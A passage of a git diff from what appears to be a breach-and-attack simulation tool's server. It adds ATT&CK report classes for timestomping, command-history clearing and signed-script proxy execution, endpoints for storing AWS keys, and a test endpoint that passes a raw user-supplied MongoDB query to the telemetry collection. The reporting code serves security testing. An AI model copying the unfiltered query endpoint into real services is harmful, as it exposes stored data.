TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief } diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/telemetry_test.py new file mode 100644 index 000000000..29108070e --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/telemetry_test.py @@ -0,0 +1,13 @@ +import flask_restful +from bson import json_util +from flask import request + +from monkey_island.cc.database import mongo +from monkey_island.cc.resources.auth.auth import jwt_required + + +class TelemetryTest(flask_restful.Resource): + @jwt_required + def get(self, **kw): + find_query = json_util.loads(request.args.get('find_query')) + return {'results': list(mongo.db.telemetry.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index 8a1879c9c..ddef04b77 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -3,12 +3,11 @@ import json import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.reporting.zero_trust_service import \ - ZeroTrustService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService class ZeroTrustFindingEvent(flask_restful.Resource): @jwt_required def get(self, finding_id: str): - return {'events_json': json.dumps(ZeroTrustService.get_events_by_finding(finding_id), default=str)} + return {'events_json': json.dumps(MonkeyZTFindingService.get_events_by_finding(finding_id), default=str)} diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py new file mode 100644 index 000000000..53e757f11 --- /dev/null +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py @@ -0,0 +1,11 @@ +import flask_restful + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import get_aws_keys + + +class AWSKeys(flask_restful.Resource): + + @jwt_required + def get(self): + return get_aws_keys() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py new file mode 100644 index 000000000..dbed4dd51 --- /dev/null +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -0,0 +1,34 @@ +import json + +import flask_restful +from flask import request + +from common.cloud.scoutsuite_consts import CloudProviders +from common.utils.exceptions import InvalidAWSKeys +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup, + set_aws_keys) + + +class ScoutSuiteAuth(flask_restful.Resource): + + @jwt_required + def get(self, provider: CloudProviders): + if provider == CloudProviders.AWS.value: + is_setup, message = is_cloud_authentication_setup(provider) + return {'is_setup': is_setup, 'message': message} + else: + return {'is_setup': False, 'message': ''} + + @jwt_required + def post(self, provider: CloudProviders): + key_info = json.loads(request.data) + error_msg = '' + if provider == CloudProviders.AWS.value: + try: + set_aws_keys(access_key_id=key_info['accessKeyId'], + secret_access_key=key_info['secretAccessKey'], + session_token=key_info['sessionToken']) + except InvalidAWSKeys as e: + error_msg = str(e) + return {'error_msg': error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py new file mode 100644 index 000000000..433bf4631 --- /dev/null +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -0,0 +1,33 @@ +import http.client + +import flask_restful +from flask import Response, jsonify + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService +from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService +from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ScoutSuiteRawDataService + +REPORT_DATA_PILLARS = "pillars" +REPORT_DATA_FINDINGS = "findings" +REPORT_DATA_PRINCIPLES_STATUS = "principles" +REPORT_DATA_SCOUTSUITE = "scoutsuite" + + +class ZeroTrustReport(flask_restful.Resource): + + @jwt_required + def get(self, report_data=None): + if report_data == REPORT_DATA_PILLARS: + return jsonify(PillarService.get_pillar_report_data()) + elif report_data == REPORT_DATA_PRINCIPLES_STATUS: + return jsonify(PrincipleService.get_principles_status()) + elif report_data == REPORT_DATA_FINDINGS: + return jsonify(FindingService.get_all_findings_for_ui()) + elif report_data == REPORT_DATA_SCOUTSUITE: + # Raw ScoutSuite data is already solved as json, no need to jsonify + return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), + mimetype='application/json') + + flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json.default similarity index 100% rename from monkey/monkey_island/cc/server_config.json rename to monkey/monkey_island/cc/server_config.json.default diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/server_utils/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py rename to monkey/monkey_island/cc/server_utils/__init__.py diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py similarity index 87% rename from monkey/monkey_island/cc/bootloader_server.py rename to monkey/monkey_island/cc/server_utils/bootloader_server.py index 6301d7c18..fbbd32815 100644 --- a/monkey/monkey_island/cc/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -7,6 +7,7 @@ import pymongo import requests import urllib3 +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from monkey_island.cc.environment import Environment # Disable "unverified certificate" warnings when sending requests to island @@ -32,7 +33,10 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. - r = requests.post(url=island_server_path, data=post_data, verify=False) # noqa: DUO123 + r = requests.post(url=island_server_path, + data=post_data, + verify=False, + timeout=SHORT_REQUEST_TIMEOUT) # noqa: DUO123 try: if r.status_code != 200: diff --git a/monkey/monkey_island/cc/consts.py b/monkey/monkey_island/cc/server_utils/consts.py similarity index 100% rename from monkey/monkey_island/cc/consts.py rename to monkey/monkey_island/cc/server_utils/consts.py diff --git a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py new file mode 100644 index 000000000..3c53586d1 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py @@ -0,0 +1,13 @@ +from bson import ObjectId, json_util +from flask.json import JSONEncoder + + +class CustomJSONEncoder(JSONEncoder): + + def default(self, obj): + try: + if isinstance(obj, ObjectId): + return json_util.dumps(obj) + except TypeError: + pass + return JSONEncoder.default(self, obj) diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py similarity index 84% rename from monkey/monkey_island/cc/encryptor.py rename to monkey/monkey_island/cc/server_utils/encryptor.py index 585c84f87..cce7d464a 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -1,10 +1,12 @@ import base64 import os -from Crypto import Random -from Crypto.Cipher import AES +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto import Random # noqa: DUO133 # nosec: B413 +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py similarity index 100% rename from monkey/monkey_island/cc/island_logger.py rename to monkey/monkey_island/cc/server_utils/island_logger.py diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 6d4bac9ed..572b469c5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,24 +3,12 @@ import logging from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.attack_config import AttackConfig -from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, - T1016, T1018, - T1021, T1035, - T1041, T1053, - T1059, T1064, - T1065, T1075, - T1082, T1086, - T1090, T1105, - T1106, T1107, - T1110, T1129, - T1136, T1145, - T1154, T1156, - T1158, T1166, - T1168, T1188, - T1197, T1210, - T1222, T1504) -from monkey_island.cc.services.reporting.report_generation_synchronisation import \ - safe_generate_attack_report +from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, T1016, T1018, T1021, T1035, T1041, T1053, + T1059, T1064, T1065, T1075, T1082, T1086, T1087, T1090, + T1099, T1105, T1106, T1107, T1110, T1129, T1136, T1145, + T1146, T1154, T1156, T1158, T1166, T1168, T1188, T1197, + T1210, T1216, T1222, T1504) +from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report __author__ = "VakarisZ" @@ -57,7 +45,11 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1154': T1154.T1154, 'T1166': T1166.T1166, 'T1168': T1168.T1168, - 'T1053': T1053.T1053 + 'T1053': T1053.T1053, + 'T1099': T1099.T1099, + 'T1216': T1216.T1216, + 'T1087': T1087.T1087, + 'T1146': T1146.T1146 } REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 30d33ca3e..714e57135 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -168,6 +168,15 @@ SCHEMA = { "description": "Adversaries may abuse BITS to download, execute, " "and even clean up after running malicious code." }, + "T1146": { + "title": "Clear command history", + "type": "bool", + "value": False, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1146", + "description": "Adversaries may clear/disable command history of a compromised " + "account to conceal the actions undertaken during an intrusion." + }, "T1107": { "title": "File Deletion", "type": "bool", @@ -185,6 +194,24 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1222", "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." + }, + "T1099": { + "title": "Timestomping", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1099", + "description": "Adversaries may modify file time attributes to hide new/changes to existing " + "files to avoid attention from forensic investigators or file analysis tools." + }, + "T1216": { + "title": "Signed script proxy execution", + "type": "bool", + "value": False, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1216", + "description": "Adversaries may use scripts signed with trusted certificates to " + "proxy execution of malicious files on Windows systems." } } }, @@ -234,6 +261,16 @@ SCHEMA = { "type": "object", "link": "https://attack.mitre.org/tactics/TA0007/", "properties": { + "T1087": { + "title": "Account Discovery", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1087", + "description": "Adversaries may attempt to get a listing of accounts on a system or " + "within an environment. This information can help adversaries determine which " + "accounts exist to aid in follow-on behavior." + }, "T1018": { "title": "Remote System Discovery", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d8ee9de26..399be0992 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,9 +12,14 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}}, - # $gt: {} checks if field is not an empty object - {'data.credentials': {'$gt': {}}}]} + query = {'$or': [ + {'telem_category': 'system_info', + '$and': [{'data.credentials': {'$exists': True}}, + {'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object + {'telem_category': 'exploit', + '$and': [{'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': {'$gt': {}}}]} + ]} @staticmethod def get_report_data(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index a43c76479..b017e7c85 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -1,8 +1,7 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -from monkey_island.cc.services.attack.technique_reports.technique_report_tools import \ - parse_creds +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index f56b3e23f..e0694f3b4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,5 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports.usage_technique import \ - UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py index 511f819e3..7ab1b5607 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py @@ -1,6 +1,5 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 9bd492829..2c68c9ae4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,6 +1,5 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports.usage_technique import \ - UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index cd4d69ae8..3b18be488 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -4,6 +4,8 @@ from monkey_island.cc.services.config import ConfigService __author__ = "VakarisZ" +from common.config_value_paths import CURRENT_SERVER_PATH + class T1065(AttackTechnique): tech_id = "T1065" @@ -14,6 +16,6 @@ class T1065(AttackTechnique): @staticmethod def get_report_data(): - port = ConfigService.get_config_value(['internal', 'island_server', 'current_server']).split(':')[1] + port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(':')[1] T1065.used_msg = T1065.message % port return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py new file mode 100644 index 000000000..91e1204f4 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py @@ -0,0 +1,12 @@ +from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique + +__author__ = "shreyamalviya" + + +class T1087(PostBreachTechnique): + tech_id = "T1087" + unscanned_msg = "Monkey didn't try to get a listing of user accounts." + scanned_msg = "Monkey tried to get a listing of user accounts but failed to do so." + used_msg = "Monkey got a listing of user accounts successfully." + pba_names = [POST_BREACH_ACCOUNT_DISCOVERY] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py new file mode 100644 index 000000000..a16d3423d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py @@ -0,0 +1,12 @@ +from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique + +__author__ = "shreyamalviya" + + +class T1099(PostBreachTechnique): + tech_id = "T1099" + unscanned_msg = "Monkey didn't try changing any file's time attributes." + scanned_msg = "Monkey tried changing a file's time attributes but failed." + used_msg = "Monkey successfully changed a file's time attributes." + pba_names = [POST_BREACH_TIMESTOMPING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index d98449464..d07a66038 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,5 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports.usage_technique import \ - UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index c2d6fc8d5..63e6ba26f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -1,8 +1,7 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -from monkey_island.cc.services.attack.technique_reports.technique_report_tools import \ - parse_creds +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index e84698058..3a13c5101 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,5 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports.usage_technique import \ - UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index 086a1c139..d9d86e08e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,7 +1,5 @@ -from common.data.post_breach_consts import ( - POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER) -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py new file mode 100644 index 000000000..e1ca3423f --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -0,0 +1,21 @@ +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique + +__author__ = "shreyamalviya" + + +class T1146(PostBreachTechnique): + tech_id = "T1146" + unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines." + scanned_msg = "Monkey tried clearing the command history but failed." + used_msg = "Monkey successfully cleared the command history (and then restored it back)." + pba_names = [POST_BREACH_CLEAR_CMD_HISTORY] + + @staticmethod + def get_pba_query(*args): + return [{'$match': {'telem_category': 'post_breach', + 'data.name': POST_BREACH_CLEAR_CMD_HISTORY}}, + {'$project': {'_id': 0, + 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]}, + 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]}, + 'result': '$data.result'}}] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py index c905fc9ca..d775fcffc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py @@ -1,6 +1,5 @@ -from common.data.post_breach_consts import POST_BREACH_TRAP_COMMAND -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 2841ed0ad..0b2fdf41e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -1,7 +1,5 @@ -from common.data.post_breach_consts import \ - POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py index 7b0f87358..9e688fd37 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py @@ -1,6 +1,5 @@ -from common.data.post_breach_consts import POST_BREACH_HIDDEN_FILES -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py index e3b74e5c5..ab482f0f6 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py @@ -1,6 +1,5 @@ -from common.data.post_breach_consts import POST_BREACH_SETUID_SETGID -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py index 76806806c..a690086dc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py @@ -1,6 +1,5 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py new file mode 100644 index 000000000..796c1a043 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -0,0 +1,20 @@ +from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique + +__author__ = "shreyamalviya" + + +class T1216(PostBreachTechnique): + tech_id = "T1216" + unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\ + "pre-existing signed script since it didn't run on any Windows machines. " +\ + "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\ + "pre-existing signed script on Windows but failed. " +\ + "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\ + "This behavior could be abused by adversaries to execute malicious files that could " +\ + "bypass application control and signature validation on systems." + pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index 8d8956e6b..c2ed8d3f8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -1,7 +1,5 @@ -from common.data.post_breach_consts import \ - POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION -from monkey_island.cc.services.attack.technique_reports.pba_technique import \ - PostBreachTechnique +from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique __author__ = "shreyamalviya" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 80bfb952d..34be687a4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import encryptor def parse_creds(attempt): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index cd061a050..862207505 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -2,8 +2,7 @@ import abc from common.utils.attack_utils import UsageEnum from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import ( - AttackTechnique, logger) +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta): diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py index 297c68cce..4866a6729 100644 --- a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py @@ -1,7 +1,6 @@ from unittest import TestCase -from monkey_island.cc.services.attack.mitre_api_interface import \ - MitreApiInterface +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface class TestMitreApiInterface(TestCase): diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index 8790f7c1e..2d8a14055 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -4,8 +4,7 @@ from bson import ObjectId from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeCreationException, NodeService -from monkey_island.cc.services.utils.bootloader_config import ( - MIN_GLIBC_VERSION, SUPPORTED_WINDOWS_VERSIONS) +from monkey_island.cc.services.utils.bootloader_config import MIN_GLIBC_VERSION, SUPPORTED_WINDOWS_VERSIONS from monkey_island.cc.services.utils.node_states import NodeStates diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 8d6210739..390380131 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -8,21 +8,29 @@ from jsonschema import Draft4Validator, validators import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo -from monkey_island.cc.encryptor import encryptor -from monkey_island.cc.network_utils import local_ip_addresses +from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.services.config_schema.config_schema import SCHEMA __author__ = "itay.mizeretz" +from common.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH, + LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, SSH_KEYS_PATH, + STARTED_ON_ISLAND_PATH, USER_LIST_PATH) + logger = logging.getLogger(__name__) # This should be used for config values of array type (array of strings only) -ENCRYPTED_CONFIG_ARRAYS = \ +ENCRYPTED_CONFIG_VALUES = \ [ - ['basic', 'credentials', 'exploit_password_list'], - ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + PASSWORD_LIST_PATH, + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + SSH_KEYS_PATH, + AWS_KEYS_PATH + ['aws_access_key_id'], + AWS_KEYS_PATH + ['aws_secret_access_key'], + AWS_KEYS_PATH + ['aws_session_token'] ] @@ -65,8 +73,11 @@ class ConfigService: for config_key_part in config_key_as_arr: config = config[config_key_part] if should_decrypt: - if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: - config = 